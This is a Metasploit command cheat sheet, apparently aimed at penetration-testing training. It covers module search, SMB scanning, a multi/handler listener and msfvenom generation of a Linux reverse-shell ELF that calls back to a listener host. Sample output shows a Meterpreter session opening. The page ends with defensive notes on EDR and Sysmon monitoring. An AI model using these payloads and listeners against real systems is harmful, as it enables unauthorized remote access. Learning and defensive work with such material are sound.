Skip to content

Metasploit Framework Command Cheat Sheet

The Metasploit Framework (MSF) is a modular penetration testing platform containing thousands of public exploits, auxiliary reconnaissance modules, post-exploitation scripts, and payload generators.


Initializes the PostgreSQL database cache (for fast module searches) and starts the interactive Metasploit CLI.

Terminal window
# Initialize or start local PostgreSQL database for msfconsole
sudo msfdb init
sudo msfdb start
# Launch console in quiet mode (suppresses ASCII banner for speed)
msfconsole -q
Terminal window
msf6 > db_status

Expected Output:

[*] Connected to msf. Connection type: postgresql.

Interpretation: Confirms the database is connected. Searching modules will complete in milliseconds rather than scanning the filesystem.


Locates exploits, scanners, and payloads by CVE, protocol, or software vendor.

search [type:<exploit|auxiliary|post>] [name:<string>] [cve:<year-number>]
msf6 > search type:auxiliary name:smb_version

Expected Output:

Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/smb/smb_version normal No SMB Version Detection

Interpretation: Displays the path to load with use 0 or use auxiliary/scanner/smb/smb_version.


Executes non-destructive discovery and version identification across target CIDR blocks without sending exploit code.

use auxiliary/scanner/smb/smb_version
set RHOSTS <target_ip_or_range>
set THREADS <concurrency>
run
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.10
msf6 auxiliary(scanner/smb/smb_version) > run

Expected Output:

[*] 192.168.1.10:445 - Host is running Windows Server 2019 Standard Build 17763 (name:DC01) (domain:CORP.LOCAL)
[*] 192.168.1.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Interpretation: Reveals exact OS version, NetBIOS computer name, and Active Directory domain membership without triggering crashes.


4. Setting Up Generic Multi/Handler Listeners

Section titled “4. Setting Up Generic Multi/Handler Listeners”

Creates an active local listener capable of receiving staged or stageless reverse connections generated by msfvenom or external payloads.

use exploit/multi/handler
set PAYLOAD <matching_payload>
set LHOST <local_listening_ip>
set LPORT <local_listening_port>
run -j # Runs handler as a background job
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.25
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

Expected Output:

[*] Started reverse TCP handler on 10.10.14.25:4444
[*] Sending stage (3045380 bytes) to 10.10.110.45
[*] Meterpreter session 1 opened (10.10.14.25:4444 -> 10.10.110.45:49201)
meterpreter >

Interpretation: The reverse connection succeeded and established an interactive Meterpreter session.


Generates standalone shellcode, executables, or script payloads for educational lab verification.

Terminal window
msfvenom -p <payload> LHOST=<local_ip> LPORT=<port> -f <format> -o <output_filename>
  • -p: Payload string (windows/x64/meterpreter/reverse_tcp, linux/x64/shell_reverse_tcp).
  • -f: Output format (elf, exe, raw, python, war).
  • -o: Output destination file.
Terminal window
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.25 LPORT=4444 -f elf -o lab_test.elf

Expected Output:

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting Arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: lab_test.elf

Interpretation: Created a 194-byte standalone ELF binary configured to connect back to 10.10.14.25:4444 when executed in the lab environment.


6. Defensive & Authorization Considerations

Section titled “6. Defensive & Authorization Considerations”
  1. High Antivirus & EDR Signatures: Standard Metasploit payloads and Meterpreter signatures are heavily fingerprinted by modern EDRs (Defender for Endpoint, CrowdStrike, SentinelOne). In defensive engineering, monitor Event ID 1 (Process Creation) and Event ID 3 (Network Connection) in Sysmon for suspicious outbound traffic from unapproved processes.
  2. Never Blindly Fire Unknown Exploits: Exploits targeting kernel vulnerabilities or buffer overflows can crash services (causing a Denial of Service) or crash the entire operating system (Kernel Panic / BSoD). In testing, always check the Rank (e.g., Excellent, Great) and verify on an isolated snapshot clone first.